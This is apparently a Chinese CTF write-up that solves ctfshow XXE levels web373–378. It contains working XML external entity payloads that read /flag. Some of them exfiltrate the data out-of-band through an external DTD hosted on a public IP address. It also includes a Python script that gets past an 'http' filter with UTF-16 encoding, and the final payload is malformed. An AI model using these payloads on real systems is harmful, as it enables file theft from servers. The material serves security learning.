xxe
web373
有回显
函数介绍
libxml_disable_entity_loader #禁用/启用加载外部实体的功能 参数为true时为禁用,参数为false为启用
file_get_contents('php://input') #简单理解就是接受POST请求方式传的数据
loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD) #通过解析一个 XML 标签字符串来组成该文档
simplexml_import_dom #把 DOM 节点转换为 SimpleXMLElement 对象
$creds->ctfshow 获取页面中的ctfhsow元素
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY xee SYSTEM "file:///flag">
]>
<root>
<ctfshow>
&xee;
</ctfshow>
</root>
web374
无回显
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
代码都差不多,但是这个题没有回显;先写下我刚开始的想法
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY %25 file SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY %25 xee SYSTEM "http://82.157.161.5/xiaobai.php?1=%file;">
%25xee;
]>
<root>
</root>
将使用为协议读取flag文件,并将其作为参数值发送到公网服务器上;没成功,不知道为啥????
网上找博客看大佬写法
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY %25 file SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY %25 xee SYSTEM "http://82.157.161.5/xxe.dtd">
%25xee;
%25send;
]>
<root>
</root>
注:这里的%25其实应该是% ,因为chrome浏览器直接用%会报错,要用%25代替
思路是:在公网服务器上建一个xxe.dtd文件
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://82.157.161.5/xiaobai.php?1=%file;'>"
>
%all;
使用php伪协议读取flag,再在公网服务器中建一个php文件(我这里的文件名为xiaobai),来接受数据,同时这里面使用了嵌套实体(不懂为什么要使用),不用就得不到flag
web375
过滤了<\?xml version="1\.0" ,本来想了个骚姿态(把编码方式和版本换一下顺序),但是发现不行,payload和上面一样,把xml头删掉就行,没有影响
<!DOCTYPE xxe [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % xee SYSTEM "http://82.157.161.5/xxe.dtd">
%xee;
%send;
]>
<root>
</root>
web376
大小写过滤,没印象,因为直接把xml头删了(啊哈哈);我又回头试了下前一道题,发现大写了也不行,所以不知道这里加个/i 干啥
web377
过滤了http协议,我的思路是把http拆开
<!ENTITY % file SYSTEM "htt">
<!ENTITY % xee SYSTEM "%file;"+"p://82.157.161.5/xxe.dtd"
不行,寄!!!
看大佬博客。写了个python脚本 utf-16编码绕过
import requests
url="http://813f9987-7aba-4dd1-b779-0cb3059fa45b.challenge.ctf.show/"
data='''<!DOCTYPE xxe [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % xee SYSTEM "http://82.157.161.5/xxe.dtd">
%xee;
%send;
]>
<root>
</root>''' #js代码
requests.post(url,data=data.encode('utf-16'))
web378
我以为这道题是最难的,发现并不难(可能做过xxe靶场,所以这样感觉)BP抓包
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY fil SYSTEM "file:///flag">
<user>
<username>
&fil;
</username>
<password>
&fil;
</password>
</user>
总结:所有题目进行BP抓包时,都需要进行url解码才行
还有很多知识点没有理解,还要学习,学习,学习!!!
|